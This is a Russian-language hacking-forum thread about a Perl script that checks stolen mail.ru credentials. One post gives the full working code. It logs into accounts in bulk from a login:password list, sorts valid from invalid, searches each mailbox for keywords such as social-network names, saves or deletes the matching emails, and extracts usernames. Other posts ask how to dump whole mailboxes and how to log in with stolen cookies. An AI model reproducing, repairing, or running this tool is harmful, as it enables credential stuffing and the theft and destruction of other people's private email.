Попробовал запустить скрипт с учетом всех инструкций и последних изменений, скрипт не сработал. На данный момент скрипт актуален или я что-то делаю не так?
Вот лично сейчас проверил скрипт из первого поста, (изменений не вносил)... Скрипт отработал нормально.. По крайней мере выдернул письма где встречается слово "Facebook" из нескольких ящиках + адекватно прочекал на валид... проверял на 5-ти акках несколько раз.. всё нормально сработало... 1) На всякий случай проверьте все-ли папки и файлы на месте... Должно быть всё как тут в архиве: http://zalil.ru/31318374 (сам скрипт "check.pl", файл "base.txt", и папка "mails" всё должно лежать в одной папке...) 2) Попробуйте запустить скрипт из консоли, то есть открыть сначало консоль, а потом прописать путь до скрипта там... Так по крайней мере должны отобразиться ошибки... Времени сейчас нет проверять другие функции скрипта, как и дорабатывать его.. Возможн когда нибудь потом...
Скрипт не работал потому, что я ставил в поиске вместо фразы букву "а" кирилическую. Можно ли как-нибудь этим скриптом выкачать абсолютно всю почту с ящика? А вообще спасибо за скриптец)
На валид чекает достаточно точно, а вот функция парсинга у меня не работает. Как то можно это исправить? И так же интересуюсь уже заданным вопросом - можно ли реализовать то же самое но с авторизацией по кукам?
Если кому еще интересно, я попытался актуализировать код. Изменения старался вносить по минимуму, проверял на двух своих мэйловских ящиках. Пользоваться на свой страх и риск по инструкциям Fepsis'а из первого поста Code: #!/usr/bin/perl ################# By Fepsis for forum.antichat.ru ################# use threads; use threads::shared; use LWP::UserAgent; use HTTP::Cookies; use HTTP::Request::Common; use HTML::Entities; use Encode; use 5.010; ################# Config ############### my $t = 2; # число потоков my $modCheckAcc = 0; # если = 1 - сохраняет валидные в good.txt, не валидные в bad.txt my $modCheckMess = 1; # если = 1 - ищет в ящике письма, соответствующие запросу $query, если = 0, то нижеперечисленные функции не будут работать my $query = 'вконтакте'; # запрос для поиска $query = encode("utf8", decode("cp1251", $query)); my $formatTxt = 0; # если = 1 - переводит письма в текст (удаляет html теги) my $modSaveMess = 1; # если = 1 - сохраняет найденные письма в папку 'mails' my $modDelMess = 0; # если = 1 - удаляет найденные письма my $modSearch = 0; # если = 1 - ищет в найденных письмах соответствия регулярке $pattern, результат сохраняет в 'SearchResults.txt' my $pattern = qr/ Пользователь (.+?) написал вам сообщение /; # эта регулярка вытащит "%username%" из строк "Пользователь %username% написал вам сообщение" ############### End Config ############## my @bas : shared; my @threads; my $fileBad = 'bad.txt'; my $fileGood = 'good.txt'; my $srchRes = 'SearchResults.txt'; my $mailsDir = 'mails'; my $br = '<br>'; my $type = '.htm'; my $ua = LWP::UserAgent->new; $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19"); my $cookie_jar = HTTP::Cookies->new(); $ua->cookie_jar($cookie_jar); open(BASE, 'base.txt'); chomp(@bas = <BASE>); close(BASE); sub logg { my ($data, $file) = @_; open(OUT, ">> ".$file); print OUT "$data\n"; close(OUT); } sub arbyte { my ($i) = @_; while(my $acc = shift(@bas)) { print 'Thread #'.$i.': '.$acc."\n"; my ($login, $domain, $pass) = $acc =~ /^(.+?)@(.+?):(.+?)$/; if (authorization($login, $domain, $pass)) { if ($modCheckAcc == 1) { logg($acc, $fileGood); } if ($modCheckMess == 1) { check_mess($query, $login, $domain, $pass); } } else { if($modCheckAcc == 1) {logg($acc, $fileBad);} } } } sub authorization { my ($login, $domain, $pass) = @_; $cookie_jar->clear(); my $ex = $ua->request(POST 'http://e.mail.ru/cgi-bin/auth', ['Login' => $login, 'Domain' => $domain, 'Password' => $pass]); if ($ex->headers_as_string() =~/Set-Cookie: Mpop=/) { return 1; } } sub check_mess { my ($query, $login, $domain, $pass) = @_; my ($ex, @messages, @tmpMess); my $j = 1; while (1) { $ex = NULL; $ex = $ua->request(GET 'http://e.mail.ru/cgi-bin/gosearch?q_query='.$query.'&page='.$j); if (my @tmpMess = $ex->content() =~ /<input title=\".*?\" type=\"checkbox\" name=\"id\" value=\"(\d+?)\" id=\"/g) { push(@messages, @tmpMess); say "checking page ".$j if ($j > 1); $j++; } else {last;} } foreach (@messages) { $ex = $ua->request(GET 'http://e.mail.ru/cgi-bin/readmsg?id='.$_); my $content = $ex->content; open ($fout, ">>", "log.txt"); say $fout $ex->content(); close $fout; my ($mess, $mess1, $mess2) = NULL; ($mess1) = $ex->content() =~ /(<div class=\"mr_read__top.*?\"><div class=\"mr_read__top_in\">.*?)<div id=\"ReceiptInfo\"/s; ($mess2) = $ex->content() =~ /(<div id="style_\d+?_BODY">.*?<\/div>)/s; $mess = $mess1.$mess2; $mess = encode("cp1251", decode("utf8", $mess)); if ($formatTxt == 1) { $mess =~ s/\s+/ /g; # удаляем все пробелы (больше одного подряд), включая все знаки новой строки $mess =~ s/<br>/\n/g; # появляются новые знаки "новая строка" $mess =~ s/<.+?>/ /g; $mess =~ s/[^\S\n]+/ /g; # удаляем все пробелы (больше одного подряд), исключая знаки новой строки decode_entities($mess); $br = "\n"; $type = '.txt'; } if ($modSearch == 1) { if ($mess =~ /$pattern/) { $res = $1; logg($login.'@'.$domain.':'.$pass.' => '.$res, $srchRes); } } if ($modSaveMess == 1) { logg('### begin ###'.$br.$mess.$br.'### end ###'.$br.$br, $mailsDir.'/'.$login.'#'.$domain.$type); } if ($modDelMess == 1) { $ex = $ua->request(GET 'http://e.mail.ru/cgi-bin/movemsg?remove&id='.$_); } } } for my $i (1..$t) { push @threads, threads->create(\&arbyte, $i); } foreach my $thread (@threads) { $thread->join(); }
ищите в чем конкретно косяк и почему не работает а я перепешу...просто влом копаться Alexandr II, а ты сашка никогда такого не советуй если знаешь что я могу прочитать))) бог перла таких как ты покарает)